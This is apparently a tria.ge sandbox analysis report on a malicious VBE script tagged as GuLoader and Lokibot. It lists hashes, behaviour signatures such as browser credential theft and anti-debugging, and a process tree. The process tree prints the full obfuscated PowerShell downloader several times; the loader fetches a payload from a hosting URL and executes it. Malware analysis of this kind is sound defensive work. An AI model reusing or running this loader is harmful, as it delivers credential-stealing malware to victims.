Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    144s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/09/2024, 01:32

General

  • Target

    b340106056e1f66bc231f34fa020dde1bc782b4bff01ab3693a56e03f233b629.vbe

  • Size

    32KB

  • MD5

    9921d0b5bf80b63899d793f480475cbe

  • SHA1

    424494a62902199accb548a5e071fb457817e5d7

  • SHA256

    b340106056e1f66bc231f34fa020dde1bc782b4bff01ab3693a56e03f233b629

  • SHA512

    cbca7093bd5f08337ea58351d2e0efe757a28736e072f9d22b32e2cfd9496efadb892ae4735d15f2918e2c89b9361094b261ea7bb73f30c64dcbdf11b277edc2

  • SSDEEP

    384:Z9vOg3OXUAF3JEkNcwcFAMQ1NQz32dCesqQdXy/vZ5mZYOvA9N4:Zp3O73JT8m9gTZesRXkYIQ

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b340106056e1f66bc231f34fa020dde1bc782b4bff01ab3693a56e03f233b629.vbe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Sulfamidic Gavelling Distributrnettet Torturingly Begunstige Confessionalism Crawley #>;$Ratebetalingsntercommunication='Humrforladtes';<#turnhalle Drouths Resistable Lighedspunkt Olu #>;$Ratebetalingsnteressefelt=$host.PrivateData;If ($Ratebetalingsnteressefelt) {$Didymitis++;}function Germania($Barnligt){$Citraternes142=$Barnligt.Length-$Didymitis;for( $Ratebetalings=5;$Ratebetalings -lt $Citraternes142;$Ratebetalings+=6){$Bladmaver+=$Barnligt[$Ratebetalings];}$Bladmaver;}function Talekanalen($Hjertebaandets){ & ($Remans) ($Hjertebaandets);}$Dermoreaction=Germania 'Fo urM He.toL giczCh lciSt yglmethol Sanda,xagg/Nonac5 ogn. Pole0ove.g Sa tl( HypoWS.mteiDruesnAfskidFremfo D giw SoubsSafir SkydeNKtterT,ylvt Inve1Lyso,0 lodt.Enami0Recur;Unrob Miz aWObl viMucednSilki6 Syre4Count;Fi ma ,eskxUdlej6Stnin4Catac;Perso Di.nfrUndisvSundh:Highh1U ion2Asy e1Tingh.Carra0Appr )Pikan .etsmGUdsaveMoistcForovk liosoForar/Unmil2Unpre0 ba a1Still0Swoon0T lre1Slage0 Ekse1 Aug ,utaFSubheiBr.ebrcholteHospif UartoKry,rxCofa /t kis1Nonpe2 bast1Intre. land0 vden ';$Ostealgia=Germania ' AlecUopt.gsNonseeTruckRglott- udieAOveraGRead EFeyesn D,miTRec l ';$Aerosiderolite=Germania 'FoundhLnpost Tehatart.rp be hsHeadr:Fem r/Hyper/Varmed ildr EnetiDrv yvK proeTrito.Ciss gMllesoMan eoTwop g HypolWieraeRegne.brndbcraakooLy phmDeuto/ReturuGispecF odh?KoloneGre.nxInfrepFuldaoLse rrZoophtBensk=BekosdUn onoSammewEctronVavasl AssuoFlageaArbejdnonme&R gioireassdPlanc=Pendl1SplenhEmbas3Ar owUKa.acp ildLDaareFforkmJBackwEPat lzAr ejo MelgG tinsrEsophSOrg,nvP rhaQSynsvRShiveqko stZUnderD egnf5 KvadMRedniUStudeuDyrenGreparb GonodA,cur3ArbouS Sa.tZ revaGPriviVAkkumSDupli ';$Datamaskinelles=Germania ' arce>melle ';$Remans=Germania 'RiddeIOutuseSu.erXGenti ';$Transmits='Dani';$Helhesten147 = Germania 'Me hjeRainfc Varih KoleoDupli Adels%EnthuaTrimnpTr.lnp.arvedTro ra.nwout Ciroa Perp% Il p\ EuctRHeraco Perob Enklo,jaltr otaa R,dgtUndereBivir.skat,UAutoinAn ihs Sprn Arbor&Salme&Water KanoneAlgaec.epiahHfligo lori Ass,ctBullb ';Talekanalen (Germania 'C eck$A damgTartel NutroMarnab ,upeaRanchlBnh e: YderGomstbaUnirrlEtn ge rrepnFaktoiSektetHelafeAl issRacem6,ispe9Ugand=Immes(S pplcT.kmlmSm ltdFored Beco,/Susp cMa hi Bumse$FastiH k lteSoapmlOpsonh.ilfleBasonsHy ektInco.eBes fnHns.r1Forge4Parmi7Sidia) Adon ');Talekanalen (Germania 'undko$RomavgFrag l RecaoLikv bEnchaaArbe.lKra,e:.tateOChevyufalsttSkrivsC mbup Par,aCratonGallesdiscr=Super$ UsikAGeodteOd.nsr Ant.oCribbsSpooniVirtudChicoekollerveksloUd,ollSlidsiHeltitLympheLyng . Ob us trep Cardlfuldbi L vetLaic,(Snegl$Un erD.odesaE.doctKropsaEnmarmRefraaHjlp sU.malkMetafi SrinnAcrobeTr.djl TraplImmoreUddansDemar)B lli ');Talekanalen (Germania 'Toned[SatinN ravmeOldfatPosth.DemokSF edaeIldskrFlyvevFrag.iR bidcViolieS.rapPDelegoMesmeiTrngsn ivertDy epMRepolaBemoun.amilaDummygCissoePanadrSp in]rdlig:Gavst:Hk.enSUnfeleBlegdcHalvfuE.orbrStartiSq,artTaktfy ubisPUnimirChrysojubustrem uoHippocPara oCosmolSyndi ecur=pu.le Spe c[ Imp NSol ie HebdtLetfa. CounSEgomaeUrinic RetsuYmperrProz iTe,mitAdapty PneuPOphidr T deo ArtetBill o tedfcPara o Forsl AnthTFo giy Consp Kn teS esk] Spin:Land :OutsoTCompalKropesMetap1Clyde2Disc ');$Aerosiderolite=$Outspans[0];$Superhistorical= (Germania 'Ge,yt$StorrgSvinelA.matO HypobSl.taA indl rif:N.ndiRSupraEGe,eiUD,fectDaaseI An elAscriiJ.ylesRembuI BagsNMalicgTripa=BirdsN Ops.E CintWMisco-T ombO NrinBVammeJnanniE CapacAmbleTAtten BjrkesTautoy ritcsSkilltFamoue wungm Vulv.Part.n LangeFleett Ydel. b.dwwKnfale PladBTryllC SideLSign I Kamme.pasmNUnr,pt');$Superhistorical+=$Galenites69[1];Talekanalen ($Superhistorical);Talekanalen (Germania 'Ch,et$forktRSlimmeDe.tsu EnketReobsiChlorl rocriDekorsUrethiDecyln Brang Stip. SprjHKatteeElemhaGuilfdBru ee SoverRew dsModfo[Kniks$ edraOBand skberntStatse nrasa ForblSo,acgMyrrhiLudolaBolth]Ove,b=Cryst$AntisDMaggieOpstnr c ramMultioVerdir PreyeEre oa ippecFunkttWindoiTrus.oUs.ornC,rne ');$Innest=Germania 'Desmo$ProviRDe igeAnisbuAdjutt Kar iBib,ilBadg.iNrsynsOrgani SekunPretagRe zi.OverdD.uftfoL kalwmanihn AsfmlMatrioJordba Hyald KosmF,lathi NonilBegree Ridg( part$barnaAM.sabeHorserP pilo Klges BrseiSke ldU aeneBarserTeleooDel,glSan,tiNavnltko mae Espa,Unath$ ErinMHampeeVegstrSekstoEf ulpRaadmi SupeaCompusHolla),ruta ';$Meropias=$Galenites69[0];Talekanalen (Germania 'He.mi$OverbGStikllEnligOso erBFeti,aP,efoLUefte:kulsoPSpknilKugleeSuperCPr sit Del,R .imaE Spor=Borup(MadagTMe,iaeEye oSGuldaTUefte-AnkomPAr,olANonentE helhSnob Rid,e$Dechem Ul,reN,rmaRIdnhkOFrostPFinjuiDenizABe iasSu,ps)Straf ');while (!$Plectre) {Talekanalen (Germania 'Cockn$ Ind.g OrielOd ntoSemi,bVr.ihaUnderl onna:HimmeBSensaoMalobrtrgretuntorlDim noFibrod etad L akeSuperrMet p=fr mk$FilostDisplrDupwaubyggeePhala ') ;Talekanalen $Innest;Talekanalen (Germania 'SyzygSFl.rttFu hia entrrSjlfutKopie-Ca vaSCivi l ,cieeIodo.eRingvpTredv Virre4Forud ');Talekanalen (Germania 'Fremt$StiktgPr aclKattioHydribUbehaaFrnnelClino: SkipPByguelTropieBrn,ec DiabtShemir Cavee Hand=Abiet(AmbolTSabl.eRehidsVov htAmmod-For rPMyofiaPiotetU neahSnegl Puff $SplinMJawtwe AntirFr vloSpitepatt niCo.ntaGlottsU ork)Skip ') ;Talekanalen (Germania 'Aphod$HoboigCy,tol Almbo.ekatbre teaS okklKnowi:SlaaeFskjoreBas.bcReferuGlgninBa bldPamp,aSkumgtGligaiGr skoSterlnVulpe= S or$phallgu clol Chono IndibRvesaaPussll Bevi: Sv tVCircue ortsr nodb ytmia UngalPol.iiDermazFrysee Feus+Fitti+Staff% .orm$ In,aO Vagtu DgndtSljens,rfabpHandsaTaut.nSt lds Rels.BackrcSkorpoLsgnguSe imn onktSpeci ') ;$Aerosiderolite=$Outspans[$Fecundation];}$Afskumningernes=320006;$Fragtraterne=29409;Talekanalen (Germania ' Endo$ VrksgFabullWetcho Its b Opt.aAmarylEksku:.kikkv.ndryaPedalaSnurpbPentae Ta.inFiffis KompmCalamuCul eg Telel dmugirigsanAt ragmi ros Ness Samp=Bevir NonsGAgoraeDublet eks-forsiCtineioDr ukn .glitMa cae ilbanVejentQuara Gedeh$ParocM CocheFinkmrQidnooSmertpLalpai UncaaOu,grsStrsk ');Talekanalen (Germania 'Glaum$VendigCreatl.oddeoMrk,pbBeaanaMentalWobl :SteriDBor ojForbivBilfoethermlskralsDo nwk,ncomeIn stsDe re Af.an=Shoes Kabin[LimfaS SavkyLaborsBatiktDetoneriddlmudp r.Eq iaCP ehaoSp ldnErganv Drape Cicar orldtPsi,o]Adj d:Jus i:AstraFUnvisrRe ieoBorgemReserBFirmaaStedesofficePref,6Impr,4Ma orSNonsutBarchrNyhediLnpronPossig elfr(humid$ t anvRe,isa TimoaPontibBorgeeVagtsnIntersRammemsmkreu,phthgGlyoxlFunktiAlsi.nP.ocegRecapsstruk)Adun ');Talekanalen (Germania 'Ragin$autofgPrecolKukstoSor ib C noa ollalPhosp:J.ledDAspiryScourrAlde,t ,yppi Videdsherie forhrOktaenVred eKron. Tildr=Prewr tachy[ dersSBararySe,resCatalt barheDaginmAra,a.Ha,roThalvaeClusixEn ydtConst.FyldeE Beh.nSu pacRaadioRugmedPantei,amblnU rangSvlge]Cor o:barse:AnecdABam uSpile COutbrIGreg,Iberve.V skeGBlowge PagitDdsfoSplacitNettor MyeliUndernOv rcgepemb(polys$Spo vDDea ljBrillvEvil e ParalkatjasMakrokInd ae Equas,esth)U der ');Talekanalen (Germania 'Bedst$BanjogAntislSk ifoSkovsbNeonsaUdgralAfskr:sw shI brennCoexitInspie ForbgNoteauNabofmBedyreGentanBortdtmrklaaAlrunlUndk,=Ta tr$MiscoDBjergySalinr ajortEjakui allid Bl,fetidsbrStentn N tae Anti. ompasAvelluAccombunfa.sRea rtGas.rr BelgiBestrnAsshog Scan( U,in$SlrinASu laf Li osSubvekLurdau a admNeissn Ov,riVigtenF gesgViolieUnscrr KontnBoysrean mas Om u, .ank$ Ro.tFLjpesrFasteaTilb,gSkakbtSuperrvil yaskrmmt,venee CamprfolkenTegnieunneu)Unren ');Talekanalen $Integumental;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1448
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Roborate.Uns && echo t"
        3⤵
          PID:4780
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Sulfamidic Gavelling Distributrnettet Torturingly Begunstige Confessionalism Crawley #>;$Ratebetalingsntercommunication='Humrforladtes';<#turnhalle Drouths Resistable Lighedspunkt Olu #>;$Ratebetalingsnteressefelt=$host.PrivateData;If ($Ratebetalingsnteressefelt) {$Didymitis++;}function Germania($Barnligt){$Citraternes142=$Barnligt.Length-$Didymitis;for( $Ratebetalings=5;$Ratebetalings -lt $Citraternes142;$Ratebetalings+=6){$Bladmaver+=$Barnligt[$Ratebetalings];}$Bladmaver;}function Talekanalen($Hjertebaandets){ & ($Remans) ($Hjertebaandets);}$Dermoreaction=Germania 'Fo urM He.toL giczCh lciSt yglmethol Sanda,xagg/Nonac5 ogn. Pole0ove.g Sa tl( HypoWS.mteiDruesnAfskidFremfo D giw SoubsSafir SkydeNKtterT,ylvt Inve1Lyso,0 lodt.Enami0Recur;Unrob Miz aWObl viMucednSilki6 Syre4Count;Fi ma ,eskxUdlej6Stnin4Catac;Perso Di.nfrUndisvSundh:Highh1U ion2Asy e1Tingh.Carra0Appr )Pikan .etsmGUdsaveMoistcForovk liosoForar/Unmil2Unpre0 ba a1Still0Swoon0T lre1Slage0 Ekse1 Aug ,utaFSubheiBr.ebrcholteHospif UartoKry,rxCofa /t kis1Nonpe2 bast1Intre. land0 vden ';$Ostealgia=Germania ' AlecUopt.gsNonseeTruckRglott- udieAOveraGRead EFeyesn D,miTRec l ';$Aerosiderolite=Germania 'FoundhLnpost Tehatart.rp be hsHeadr:Fem r/Hyper/Varmed ildr EnetiDrv yvK proeTrito.Ciss gMllesoMan eoTwop g HypolWieraeRegne.brndbcraakooLy phmDeuto/ReturuGispecF odh?KoloneGre.nxInfrepFuldaoLse rrZoophtBensk=BekosdUn onoSammewEctronVavasl AssuoFlageaArbejdnonme&R gioireassdPlanc=Pendl1SplenhEmbas3Ar owUKa.acp ildLDaareFforkmJBackwEPat lzAr ejo MelgG tinsrEsophSOrg,nvP rhaQSynsvRShiveqko stZUnderD egnf5 KvadMRedniUStudeuDyrenGreparb GonodA,cur3ArbouS Sa.tZ revaGPriviVAkkumSDupli ';$Datamaskinelles=Germania ' arce>melle ';$Remans=Germania 'RiddeIOutuseSu.erXGenti ';$Transmits='Dani';$Helhesten147 = Germania 'Me hjeRainfc Varih KoleoDupli Adels%EnthuaTrimnpTr.lnp.arvedTro ra.nwout Ciroa Perp% Il p\ EuctRHeraco Perob Enklo,jaltr otaa R,dgtUndereBivir.skat,UAutoinAn ihs Sprn Arbor&Salme&Water KanoneAlgaec.epiahHfligo lori Ass,ctBullb ';Talekanalen (Germania 'C eck$A damgTartel NutroMarnab ,upeaRanchlBnh e: YderGomstbaUnirrlEtn ge rrepnFaktoiSektetHelafeAl issRacem6,ispe9Ugand=Immes(S pplcT.kmlmSm ltdFored Beco,/Susp cMa hi Bumse$FastiH k lteSoapmlOpsonh.ilfleBasonsHy ektInco.eBes fnHns.r1Forge4Parmi7Sidia) Adon ');Talekanalen (Germania 'undko$RomavgFrag l RecaoLikv bEnchaaArbe.lKra,e:.tateOChevyufalsttSkrivsC mbup Par,aCratonGallesdiscr=Super$ UsikAGeodteOd.nsr Ant.oCribbsSpooniVirtudChicoekollerveksloUd,ollSlidsiHeltitLympheLyng . Ob us trep Cardlfuldbi L vetLaic,(Snegl$Un erD.odesaE.doctKropsaEnmarmRefraaHjlp sU.malkMetafi SrinnAcrobeTr.djl TraplImmoreUddansDemar)B lli ');Talekanalen (Germania 'Toned[SatinN ravmeOldfatPosth.DemokSF edaeIldskrFlyvevFrag.iR bidcViolieS.rapPDelegoMesmeiTrngsn ivertDy epMRepolaBemoun.amilaDummygCissoePanadrSp in]rdlig:Gavst:Hk.enSUnfeleBlegdcHalvfuE.orbrStartiSq,artTaktfy ubisPUnimirChrysojubustrem uoHippocPara oCosmolSyndi ecur=pu.le Spe c[ Imp NSol ie HebdtLetfa. CounSEgomaeUrinic RetsuYmperrProz iTe,mitAdapty PneuPOphidr T deo ArtetBill o tedfcPara o Forsl AnthTFo giy Consp Kn teS esk] Spin:Land :OutsoTCompalKropesMetap1Clyde2Disc ');$Aerosiderolite=$Outspans[0];$Superhistorical= (Germania 'Ge,yt$StorrgSvinelA.matO HypobSl.taA indl rif:N.ndiRSupraEGe,eiUD,fectDaaseI An elAscriiJ.ylesRembuI BagsNMalicgTripa=BirdsN Ops.E CintWMisco-T ombO NrinBVammeJnanniE CapacAmbleTAtten BjrkesTautoy ritcsSkilltFamoue wungm Vulv.Part.n LangeFleett Ydel. b.dwwKnfale PladBTryllC SideLSign I Kamme.pasmNUnr,pt');$Superhistorical+=$Galenites69[1];Talekanalen ($Superhistorical);Talekanalen (Germania 'Ch,et$forktRSlimmeDe.tsu EnketReobsiChlorl rocriDekorsUrethiDecyln Brang Stip. SprjHKatteeElemhaGuilfdBru ee SoverRew dsModfo[Kniks$ edraOBand skberntStatse nrasa ForblSo,acgMyrrhiLudolaBolth]Ove,b=Cryst$AntisDMaggieOpstnr c ramMultioVerdir PreyeEre oa ippecFunkttWindoiTrus.oUs.ornC,rne ');$Innest=Germania 'Desmo$ProviRDe igeAnisbuAdjutt Kar iBib,ilBadg.iNrsynsOrgani SekunPretagRe zi.OverdD.uftfoL kalwmanihn AsfmlMatrioJordba Hyald KosmF,lathi NonilBegree Ridg( part$barnaAM.sabeHorserP pilo Klges BrseiSke ldU aeneBarserTeleooDel,glSan,tiNavnltko mae Espa,Unath$ ErinMHampeeVegstrSekstoEf ulpRaadmi SupeaCompusHolla),ruta ';$Meropias=$Galenites69[0];Talekanalen (Germania 'He.mi$OverbGStikllEnligOso erBFeti,aP,efoLUefte:kulsoPSpknilKugleeSuperCPr sit Del,R .imaE Spor=Borup(MadagTMe,iaeEye oSGuldaTUefte-AnkomPAr,olANonentE helhSnob Rid,e$Dechem Ul,reN,rmaRIdnhkOFrostPFinjuiDenizABe iasSu,ps)Straf ');while (!$Plectre) {Talekanalen (Germania 'Cockn$ Ind.g OrielOd ntoSemi,bVr.ihaUnderl onna:HimmeBSensaoMalobrtrgretuntorlDim noFibrod etad L akeSuperrMet p=fr mk$FilostDisplrDupwaubyggeePhala ') ;Talekanalen $Innest;Talekanalen (Germania 'SyzygSFl.rttFu hia entrrSjlfutKopie-Ca vaSCivi l ,cieeIodo.eRingvpTredv Virre4Forud ');Talekanalen (Germania 'Fremt$StiktgPr aclKattioHydribUbehaaFrnnelClino: SkipPByguelTropieBrn,ec DiabtShemir Cavee Hand=Abiet(AmbolTSabl.eRehidsVov htAmmod-For rPMyofiaPiotetU neahSnegl Puff $SplinMJawtwe AntirFr vloSpitepatt niCo.ntaGlottsU ork)Skip ') ;Talekanalen (Germania 'Aphod$HoboigCy,tol Almbo.ekatbre teaS okklKnowi:SlaaeFskjoreBas.bcReferuGlgninBa bldPamp,aSkumgtGligaiGr skoSterlnVulpe= S or$phallgu clol Chono IndibRvesaaPussll Bevi: Sv tVCircue ortsr nodb ytmia UngalPol.iiDermazFrysee Feus+Fitti+Staff% .orm$ In,aO Vagtu DgndtSljens,rfabpHandsaTaut.nSt lds Rels.BackrcSkorpoLsgnguSe imn onktSpeci ') ;$Aerosiderolite=$Outspans[$Fecundation];}$Afskumningernes=320006;$Fragtraterne=29409;Talekanalen (Germania ' Endo$ VrksgFabullWetcho Its b Opt.aAmarylEksku:.kikkv.ndryaPedalaSnurpbPentae Ta.inFiffis KompmCalamuCul eg Telel dmugirigsanAt ragmi ros Ness Samp=Bevir NonsGAgoraeDublet eks-forsiCtineioDr ukn .glitMa cae ilbanVejentQuara Gedeh$ParocM CocheFinkmrQidnooSmertpLalpai UncaaOu,grsStrsk ');Talekanalen (Germania 'Glaum$VendigCreatl.oddeoMrk,pbBeaanaMentalWobl :SteriDBor ojForbivBilfoethermlskralsDo nwk,ncomeIn stsDe re Af.an=Shoes Kabin[LimfaS SavkyLaborsBatiktDetoneriddlmudp r.Eq iaCP ehaoSp ldnErganv Drape Cicar orldtPsi,o]Adj d:Jus i:AstraFUnvisrRe ieoBorgemReserBFirmaaStedesofficePref,6Impr,4Ma orSNonsutBarchrNyhediLnpronPossig elfr(humid$ t anvRe,isa TimoaPontibBorgeeVagtsnIntersRammemsmkreu,phthgGlyoxlFunktiAlsi.nP.ocegRecapsstruk)Adun ');Talekanalen (Germania 'Ragin$autofgPrecolKukstoSor ib C noa ollalPhosp:J.ledDAspiryScourrAlde,t ,yppi Videdsherie forhrOktaenVred eKron. Tildr=Prewr tachy[ dersSBararySe,resCatalt barheDaginmAra,a.Ha,roThalvaeClusixEn ydtConst.FyldeE Beh.nSu pacRaadioRugmedPantei,amblnU rangSvlge]Cor o:barse:AnecdABam uSpile COutbrIGreg,Iberve.V skeGBlowge PagitDdsfoSplacitNettor MyeliUndernOv rcgepemb(polys$Spo vDDea ljBrillvEvil e ParalkatjasMakrokInd ae Equas,esth)U der ');Talekanalen (Germania 'Bedst$BanjogAntislSk ifoSkovsbNeonsaUdgralAfskr:sw shI brennCoexitInspie ForbgNoteauNabofmBedyreGentanBortdtmrklaaAlrunlUndk,=Ta tr$MiscoDBjergySalinr ajortEjakui allid Bl,fetidsbrStentn N tae Anti. ompasAvelluAccombunfa.sRea rtGas.rr BelgiBestrnAsshog Scan( U,in$SlrinASu laf Li osSubvekLurdau a admNeissn Ov,riVigtenF gesgViolieUnscrr KontnBoysrean mas Om u, .ank$ Ro.tFLjpesrFasteaTilb,gSkakbtSuperrvil yaskrmmt,venee CamprfolkenTegnieunneu)Unren ');Talekanalen $Integumental;"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5064
          • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Sulfamidic Gavelling Distributrnettet Torturingly Begunstige Confessionalism Crawley #>;$Ratebetalingsntercommunication='Humrforladtes';<#turnhalle Drouths Resistable Lighedspunkt Olu #>;$Ratebetalingsnteressefelt=$host.PrivateData;If ($Ratebetalingsnteressefelt) {$Didymitis++;}function Germania($Barnligt){$Citraternes142=$Barnligt.Length-$Didymitis;for( $Ratebetalings=5;$Ratebetalings -lt $Citraternes142;$Ratebetalings+=6){$Bladmaver+=$Barnligt[$Ratebetalings];}$Bladmaver;}function Talekanalen($Hjertebaandets){ & ($Remans) ($Hjertebaandets);}$Dermoreaction=Germania 'Fo urM He.toL giczCh lciSt yglmethol Sanda,xagg/Nonac5 ogn. Pole0ove.g Sa tl( HypoWS.mteiDruesnAfskidFremfo D giw SoubsSafir SkydeNKtterT,ylvt Inve1Lyso,0 lodt.Enami0Recur;Unrob Miz aWObl viMucednSilki6 Syre4Count;Fi ma ,eskxUdlej6Stnin4Catac;Perso Di.nfrUndisvSundh:Highh1U ion2Asy e1Tingh.Carra0Appr )Pikan .etsmGUdsaveMoistcForovk liosoForar/Unmil2Unpre0 ba a1Still0Swoon0T lre1Slage0 Ekse1 Aug ,utaFSubheiBr.ebrcholteHospif UartoKry,rxCofa /t kis1Nonpe2 bast1Intre. land0 vden ';$Ostealgia=Germania ' AlecUopt.gsNonseeTruckRglott- udieAOveraGRead EFeyesn D,miTRec l ';$Aerosiderolite=Germania 'FoundhLnpost Tehatart.rp be hsHeadr:Fem r/Hyper/Varmed ildr EnetiDrv yvK proeTrito.Ciss gMllesoMan eoTwop g HypolWieraeRegne.brndbcraakooLy phmDeuto/ReturuGispecF odh?KoloneGre.nxInfrepFuldaoLse rrZoophtBensk=BekosdUn onoSammewEctronVavasl AssuoFlageaArbejdnonme&R gioireassdPlanc=Pendl1SplenhEmbas3Ar owUKa.acp ildLDaareFforkmJBackwEPat lzAr ejo MelgG tinsrEsophSOrg,nvP rhaQSynsvRShiveqko stZUnderD egnf5 KvadMRedniUStudeuDyrenGreparb GonodA,cur3ArbouS Sa.tZ revaGPriviVAkkumSDupli ';$Datamaskinelles=Germania ' arce>melle ';$Remans=Germania 'RiddeIOutuseSu.erXGenti ';$Transmits='Dani';$Helhesten147 = Germania 'Me hjeRainfc Varih KoleoDupli Adels%EnthuaTrimnpTr.lnp.arvedTro ra.nwout Ciroa Perp% Il p\ EuctRHeraco Perob Enklo,jaltr otaa R,dgtUndereBivir.skat,UAutoinAn ihs Sprn Arbor&Salme&Water KanoneAlgaec.epiahHfligo lori Ass,ctBullb ';Talekanalen (Germania 'C eck$A damgTartel NutroMarnab ,upeaRanchlBnh e: YderGomstbaUnirrlEtn ge rrepnFaktoiSektetHelafeAl issRacem6,ispe9Ugand=Immes(S pplcT.kmlmSm ltdFored Beco,/Susp cMa hi Bumse$FastiH k lteSoapmlOpsonh.ilfleBasonsHy ektInco.eBes fnHns.r1Forge4Parmi7Sidia) Adon ');Talekanalen (Germania 'undko$RomavgFrag l RecaoLikv bEnchaaArbe.lKra,e:.tateOChevyufalsttSkrivsC mbup Par,aCratonGallesdiscr=Super$ UsikAGeodteOd.nsr Ant.oCribbsSpooniVirtudChicoekollerveksloUd,ollSlidsiHeltitLympheLyng . Ob us trep Cardlfuldbi L vetLaic,(Snegl$Un erD.odesaE.doctKropsaEnmarmRefraaHjlp sU.malkMetafi SrinnAcrobeTr.djl TraplImmoreUddansDemar)B lli ');Talekanalen (Germania 'Toned[SatinN ravmeOldfatPosth.DemokSF edaeIldskrFlyvevFrag.iR bidcViolieS.rapPDelegoMesmeiTrngsn ivertDy epMRepolaBemoun.amilaDummygCissoePanadrSp in]rdlig:Gavst:Hk.enSUnfeleBlegdcHalvfuE.orbrStartiSq,artTaktfy ubisPUnimirChrysojubustrem uoHippocPara oCosmolSyndi ecur=pu.le Spe c[ Imp NSol ie HebdtLetfa. CounSEgomaeUrinic RetsuYmperrProz iTe,mitAdapty PneuPOphidr T deo ArtetBill o tedfcPara o Forsl AnthTFo giy Consp Kn teS esk] Spin:Land :OutsoTCompalKropesMetap1Clyde2Disc ');$Aerosiderolite=$Outspans[0];$Superhistorical= (Germania 'Ge,yt$StorrgSvinelA.matO HypobSl.taA indl rif:N.ndiRSupraEGe,eiUD,fectDaaseI An elAscriiJ.ylesRembuI BagsNMalicgTripa=BirdsN Ops.E CintWMisco-T ombO NrinBVammeJnanniE CapacAmbleTAtten BjrkesTautoy ritcsSkilltFamoue wungm Vulv.Part.n LangeFleett Ydel. b.dwwKnfale PladBTryllC SideLSign I Kamme.pasmNUnr,pt');$Superhistorical+=$Galenites69[1];Talekanalen ($Superhistorical);Talekanalen (Germania 'Ch,et$forktRSlimmeDe.tsu EnketReobsiChlorl rocriDekorsUrethiDecyln Brang Stip. SprjHKatteeElemhaGuilfdBru ee SoverRew dsModfo[Kniks$ edraOBand skberntStatse nrasa ForblSo,acgMyrrhiLudolaBolth]Ove,b=Cryst$AntisDMaggieOpstnr c ramMultioVerdir PreyeEre oa ippecFunkttWindoiTrus.oUs.ornC,rne ');$Innest=Germania 'Desmo$ProviRDe igeAnisbuAdjutt Kar iBib,ilBadg.iNrsynsOrgani SekunPretagRe zi.OverdD.uftfoL kalwmanihn AsfmlMatrioJordba Hyald KosmF,lathi NonilBegree Ridg( part$barnaAM.sabeHorserP pilo Klges BrseiSke ldU aeneBarserTeleooDel,glSan,tiNavnltko mae Espa,Unath$ ErinMHampeeVegstrSekstoEf ulpRaadmi SupeaCompusHolla),ruta ';$Meropias=$Galenites69[0];Talekanalen (Germania 'He.mi$OverbGStikllEnligOso erBFeti,aP,efoLUefte:kulsoPSpknilKugleeSuperCPr sit Del,R .imaE Spor=Borup(MadagTMe,iaeEye oSGuldaTUefte-AnkomPAr,olANonentE helhSnob Rid,e$Dechem Ul,reN,rmaRIdnhkOFrostPFinjuiDenizABe iasSu,ps)Straf ');while (!$Plectre) {Talekanalen (Germania 'Cockn$ Ind.g OrielOd ntoSemi,bVr.ihaUnderl onna:HimmeBSensaoMalobrtrgretuntorlDim noFibrod etad L akeSuperrMet p=fr mk$FilostDisplrDupwaubyggeePhala ') ;Talekanalen $Innest;Talekanalen (Germania 'SyzygSFl.rttFu hia entrrSjlfutKopie-Ca vaSCivi l ,cieeIodo.eRingvpTredv Virre4Forud ');Talekanalen (Germania 'Fremt$StiktgPr aclKattioHydribUbehaaFrnnelClino: SkipPByguelTropieBrn,ec DiabtShemir Cavee Hand=Abiet(AmbolTSabl.eRehidsVov htAmmod-For rPMyofiaPiotetU neahSnegl Puff $SplinMJawtwe AntirFr vloSpitepatt niCo.ntaGlottsU ork)Skip ') ;Talekanalen (Germania 'Aphod$HoboigCy,tol Almbo.ekatbre teaS okklKnowi:SlaaeFskjoreBas.bcReferuGlgninBa bldPamp,aSkumgtGligaiGr skoSterlnVulpe= S or$phallgu clol Chono IndibRvesaaPussll Bevi: Sv tVCircue ortsr nodb ytmia UngalPol.iiDermazFrysee Feus+Fitti+Staff% .orm$ In,aO Vagtu DgndtSljens,rfabpHandsaTaut.nSt lds Rels.BackrcSkorpoLsgnguSe imn onktSpeci ') ;$Aerosiderolite=$Outspans[$Fecundation];}$Afskumningernes=320006;$Fragtraterne=29409;Talekanalen (Germania ' Endo$ VrksgFabullWetcho Its b 